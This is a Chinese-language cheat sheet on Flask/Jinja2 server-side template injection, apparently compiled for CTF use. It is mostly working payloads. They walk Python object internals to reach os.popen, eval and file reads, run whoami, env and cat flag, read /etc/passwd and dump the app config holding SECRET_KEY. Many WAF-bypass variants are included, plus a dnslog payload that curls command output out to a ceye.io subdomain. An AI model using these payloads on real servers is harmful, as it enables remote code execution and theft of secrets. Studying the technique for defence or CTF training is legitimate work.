flask-ssti笔记
Flask SSTI
简介
Flask SSTI,即模板注入,旨在利用相关模板引擎的特点,通过沙箱逃逸等技术进行攻击服务,获取隐私信息。
信息收集
判断模板引擎类型
其中,Jinja2
的回显是 7777777
;
Twig
回显是 49
。
config
config
是 Flask 内置的变量,
是一个字典,用于保存 Flask
所需的一些配置,其中最重要的是 SECRET_KEY
。
request
request
是 Flask
内置的变量,是一个对象,包含所请求的信息体,包括可以尝试访问
request.environ
,可以获取当前运行时的环境字典。
在攻击中主要用于当中间人。
Python 内置方法、属性
object
object
是所有 Python
对象(包括内置对象)的父类,可以通过 object
为中间变量来寻找我们想要的东西。
所拥有的内置方法和属性如下表,其子类也同样拥有
名字 | 功能 |
---|---|
mro() |
获取该类的 MRO,即基类列表 |
__annotations__ |
注解 |
__base__ |
对象的基类 |
__bases__ |
对象的基类元组 |
__class__ |
对象的类(类的类是元类) |
__dict__ |
对象的属性,以字典形式返回 |
__doc__ |
对象的文档字符串 |
__name__ |
对象的名称(包括命名空间) |
__mro__ |
同 mro() |
__subclasses__() |
获取所有子类的弱引用列表 |
__init__ |
类的构造函数,对于有实例的对象它将是一个(function/method )变量,可以做中间人 |
__globals__ |
获取对象所在作用域的所有全局变量字典,不是所有的对象都有的,一般利用方式为
__init__.__globals__ |
__getattribute__() |
类比 getattr() ,可以获取对象的属性 |
__getitem__() |
类比 [] ,获取字典键值 |
__builtins__
__builtins__
是一个包含了所有 Python
内置构建属性的模块(import builtins
),可以通过它为中间人来间接调用其他方法。
例如 __builtins__.eval
。
debug 模式
本地调试程序,测试攻击链的时候,可以在代码中添加
1 | app.deubg = True |
这样调试模式下,修改 Python 代码时将自动修改程序,而不需要关闭服务。
waf 绕过
过滤器绕过
过滤器是模板引擎提供的一个语法糖,类似 bash 的操作,使用管道符连接不同的过滤器,链式完成一些功能。
在下文中,注释内容表示无法通过 waf 的原代码,非注释内容表示可能的用于绕过 waf 的代码。
[]
[]
提供另一种属性获取方式
1 | # ().__class__ |
attr
attr 用于动态获取变量,类似 Python 中的 attr
函数,可以用于绕过 .
。
1 | # "".__class__" |
format
类似 Python 中 str.format
函数,用于作格式化字符串。
1 | # __class__ |
first/last/random
获取元组或列表的第一位、最后一位、随机位
1 | # "".__class__.__mro__[0] |
join
拼接字符串,可以传入元组、列表。
1 | # ""["__class__"] |
lower/upper
大写字符串转小写字符串;小写字符串转大写字符串。
1 | # ""["__class__"] |
replace/reverse
替换字符串;反转字符串。
1 | # ""["__class__"] |
string
类似 Python 的 str
函数,可以将本不是字符串的类型转化为字符串,这样我们可以取字符构造
payload
1 | # < |
select/unique
可以转化为迭代器对象,一般用于构造文字
1 | # <generator object select_or_reject at 0x0000013163CDC2E0> |
其他
除此之外还有很多过滤器,需要根据实际情况来取方便构造的。
- default()
- escape()
- first()
- last()
- length()
- random()
- safe()
- trim()
- max()
- min()
- unique()
- striptags()
- urlize()
- wordcount()
- tojson()
- truncate()
payload
绕过.
1 | # ().__class__ |
绕过引号
可以使用 request
,通过获取参数的方式绕过输入引号。
例如 GET 方法传参、POST 方法传参、Cookie 传参。
1 | # GET |
利用 chr
绕过字符串输入,但是首先得先找到
chr
函数。
1 | # {{"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('whoami').read()}} |
过滤()
执行函数必须使用小括号,无法绕过,只能查看CONFIG。
过滤_
十六进制编码、unicode
编码绕过
1 | {{()["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbases\x5f\x5f"][0]["\x5f\x5fsubclasses\x5f\x5f"]()[133]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]['popen']('whoami')['read']()}} |
全字符串替换脚本
1 | payload = b'__class__' |
特殊情况下可以尝试 base64 绕过(似乎不是 Jinja2)
1 | {{[].__getattribute__('X19jbGFzc19f'.decode('base64')).__base__.__subclasses__()[40]("/etc/passwd").read()}} |
半角全角替换脚本
1 | payload = b"__class__" |
关键字过滤
大小写混写
1 | ()['__ClAss__'|lower] |
拼接字符串
1 | {{()['__cla'+'ss__'].__bases__[0]}} |
格式化字符串
1 | {{()|attr(request.args.f|format(request.args.a))}}&f=__c%sass__&a=l |
过滤了 __init__
函数,可以考虑用 __enter__
或 __exit__
函数替代。
过滤了 config
,可以考虑通过其他方式获取
1 | # <TemplateReference None> |
过滤[]
如果是需要索引,可以使用
pop()
,__getitem__()
代替
1 | ().__class__.__base__.__subclasses__().__getitem__(133).__init__.__globals__.popen('whoami').read() |
如果是获取对象无法使用 []
绕过,考虑使用
__getattribute__
1 | "".__getattribute__("__cla"+"ss__").__base__ |
最好使用 request
绕过
1 | {{().__getattribute__(request.args.arg1).__base__}}&arg1=__class__ |
过滤{}
用控制语句 {%%}
代替,可以在
{%%}
内嵌套函数或是条件语句、循环语句等,一般会使用
{%print(qsdz)%}
print 标记
1 | {%print ().__class__.__bases__[0].__subclasses__()[80].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")%} |
dnslog 外带数据
利用 http://ceye.io/ 实时监控 dnslog,实现巧妙的盲注。
ceye.io 注册后会给予二级域名,https://betheme.net/a/2493006.html
1 | {% if lipsum.__globals__['os'].popen('curl `whoami`.qureyl.ceye.io')%}1{%endif%} |
但是需要注意特殊字符无法直接回显,可以考虑进行 base64 加密。
过滤数字
直接通过循环查找能利用的类
1 | {% for i in ''.__class__.__base__.__subclasses__() %}{% if i.__name__=='Popen' %}{{ i.__init__.__globals__.__getitem__('os').popen('cat flag').read()}}{% endif %}{% endfor %} |
或者使用 lipsum
基本都是字典或对象
1 | {{lipsum|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("cat flag")|attr("read")()}} |
或者还可以构造数字进行拼接
1 | {%set zero=([]|string|list).index('[')%} |
盲注
1 | import requests |
env
1 | {{"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('env').read()}} |
popen
1 | {{"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('whoami').read()}} |
subprocess.Popen
1 | {{"".__class__.__base__.__subclasses__()[485]('whoami',shell=True,stdout=-1).communicate()[0].strip()}} |
__import__('os')
1 | {{"".__class__.__base__.__subclasses__()[80].__init__.__globals__.__import__('os').popen('whoami').read()}} |
__builtins__
代码执行
1 | {{().__class__.__base__.__subclasses__()[80].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")}} |
request
1 | {{request.__init__.__globals__['__builtins__'].open('/etc/passwd').read()}} |
url_for
1 | {{url_for.__globals__['current_app'].config}} |
get_flashed_messages
1 | {{get_flashed_messages.__globals__['current_app'].config}} |
lipsum
lipsum
是 Flask 用来测试用的函数,其中
lipsum.__globals__
自带 os
模块。
1 | {{lipsum.__globals__['os'].popen('whoami').read()}} |
fix
终极式
没有模板就没有注入,只要我们把模板代码去掉即可。